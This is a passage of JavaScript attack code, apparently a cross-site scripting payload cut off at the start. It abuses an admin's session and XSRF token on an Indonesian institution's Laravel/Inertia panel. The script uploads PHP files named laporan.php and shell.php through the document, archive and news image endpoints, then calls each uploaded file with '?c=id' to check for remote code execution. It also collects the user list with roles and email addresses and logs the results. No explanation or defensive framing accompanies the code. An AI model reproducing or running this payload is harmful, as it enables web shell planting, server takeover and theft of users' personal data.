'],{type:'application/octet-stream'}),'laporan.php');
fetch('/panel/dokumen',{method:'POST',
headers:{'Accept':'application/json','X-XSRF-TOKEN':xsrf,'X-Inertia':'true','X-Inertia-Version':V},
body:fd_dok
}).then(function(r){return r.json();}).then(function(d){
var errs=d.props&&d.props.errors||{};
var item=(d.props&&d.props.flash&&d.props.flash.created_item)||{};
var furl=item.url||item.file_url||'NOURL';
log('DOK_PHP:'+r.status+'|'+furl+'|'+JSON.stringify(errs).substring(0,40));
if(furl&&furl!=='NOURL'){
var tu=furl.startsWith('http')?furl:location.origin+furl;
fetch(tu+'?c=id').then(function(r2){return r2.text();}).then(function(t){log('DOK_RCE:'+furl+'|'+t.substring(0,60));});
}
}).catch(function(e){log('DOK_ERR:'+e.message);});
// 5. ARSIP PHP upload attempt
var fd_arsip=new FormData();
fd_arsip.append('category','Umum');
fd_arsip.append('unit','Lembaga Penjaminan Mutu Internal');
fd_arsip.append('name','laporan.php');
fd_arsip.append('file',new Blob([''],{type:'application/octet-stream'}),'laporan.php');
fetch('/panel/arsip',{method:'POST',
headers:{'Accept':'application/json','X-XSRF-TOKEN':xsrf,'X-Inertia':'true','X-Inertia-Version':V},
body:fd_arsip
}).then(function(r3){return r3.json();}).then(function(d3){
var props=d3.props||{};
var furl=(props.flash&&props.flash.created_item&&props.flash.created_item.file_url)||
(props.flash&&props.flash.created_item&&props.flash.created_item.url)||'NOURL';
log('ARSIP:'+furl);
if(furl&&furl!=='NOURL'){
var u2=furl.startsWith('http')?furl:location.origin+furl;
fetch(u2+'?c=id').then(function(r4){return r4.text();}).then(function(t){log('ARSIP_RCE:'+furl+'|'+t.substring(0,80));});
}
}).catch(function(e){log('ARSIP_ERR:'+e.message);});
// 6. BERITA image upload (admin might have different path)
var fd_img=new FormData();
fd_img.append('file',new Blob([''],{type:'image/jpeg'}),'shell.php');
fetch('/panel/berita/upload-image',{method:'POST',
headers:{'Accept':'application/json','X-XSRF-TOKEN':xsrf},
body:fd_img
}).then(function(r5){return r5.json();}).then(function(d5){
var url=d5.url||d5.file_url||JSON.stringify(d5).substring(0,60);
log('IMG_UPLOAD:'+url);
if(url&&url.includes('/')){
var tu2=url.startsWith('http')?url:location.origin+url;
fetch(tu2+'?c=id').then(function(r6){return r6.text();}).then(function(t){log('IMG_RCE:'+url+'|'+t.substring(0,50));});
}
});
// 7. Get users list
fetch('/panel/users',{headers:H}).then(function(ru){return ru.json();}).then(function(du){
var users=(du.props&&du.props.users&&du.props.users.data)||[];
log('USERS:'+JSON.stringify(users.map(function(x){return x.id+'|'+x.role+'|'+x.email;})).substring(0,200));
});
});
})();)()'>
